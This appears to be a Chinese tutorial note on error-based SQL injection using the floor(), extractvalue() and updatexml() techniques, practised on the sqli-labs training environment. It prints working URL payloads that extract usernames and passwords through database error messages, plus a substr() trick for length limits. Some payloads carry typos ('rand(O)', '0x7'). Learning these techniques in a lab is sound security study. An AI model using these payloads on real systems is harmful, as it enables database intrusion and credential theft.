简介:文章分为三部分:1、概要;2、详细的思维导图;3、详细的解说。
描述:概要包括该文介绍的知识点;详细的思维导图更好地理清思路,方便记忆,但对于有些对于作者比较基础的内容不会有详细的解释,建议主动了解;详细的解说作者会根据思维导图的纲要添加代码语句等内容,有时间会添加具体操作,具体步骤,操作结果等内容,添加需要注意的Tips(蓝色字体怎样)。
前面的话:操作学习的环境----Linux环境+docker+sqli-labs。环境配置请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建或私信我亲测有效的资源给你。
Tips:这些都是作者学习过的内容,文字、思维导图等都是一双手,后续会连载这系列以及丰富流程说明,欢迎沟通交流、留言,觉得必要的也可收藏关注
1、概要:
2.2报错注入
报错注入原理
报错注入方法
floor()
extractvalue()
updatexml()
Tips
2、详细的思维导图:
3、详细的解说:
2.2 报错注入
报错注入原理
构造payload 让信息通过错误提示回显出来应用场景:
查询不回现内容,会打印错误信息Update、insert等语句,会打印错误信息
报错注入方法
floor()
原理:group by 对rand()函数进行操作时产生错误
语句:select count(*) from information_schema. tables group by concat((select version(), floor(rand(O)*2));
concat:连接字符串功能
floor:取float的整数值
rand:取0~1之间随机浮点值
group by.根据一个或多个列对结果集进行分组并有排序功能
Less-1:(环境配置请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建)
?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+
extractvalue()
原理:XPATH语法错误产生报错
语句:select extractvalue(1,concat(0x7e,(select version()),0x7e))
Less-1:
?id=1' and (select extractvalue(1,concat(0x7,(select concat(0x7,username,password) from users limit 0,1),0x7e)))--+
updatexml()
原理:XPATH语法错误产生报错
语句:select updatexml(1,concat(0x7e,(select user()),0x7e),1)
Less-1:
?id=1' and (select updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
Tips
报错长度限制:
解决办法--substr()
select updatexml(1,substr(concat(0x7e,(select user()),0x7e),1,10),1)